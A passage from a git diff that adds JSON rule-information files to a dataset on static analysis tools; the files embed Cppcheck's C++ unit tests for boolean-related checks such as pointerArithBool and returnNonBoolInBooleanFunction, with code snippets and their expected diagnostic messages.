\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/pointerArithBool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/pointerArithBool.json new file mode 100644 index 0000000..9e6514d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/pointerArithBool.json @@ -0,0 +1,22 @@ +{ + "name": "pointerArithBool", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 18, + "branches": 7, + "apis": 19, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 1211 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" 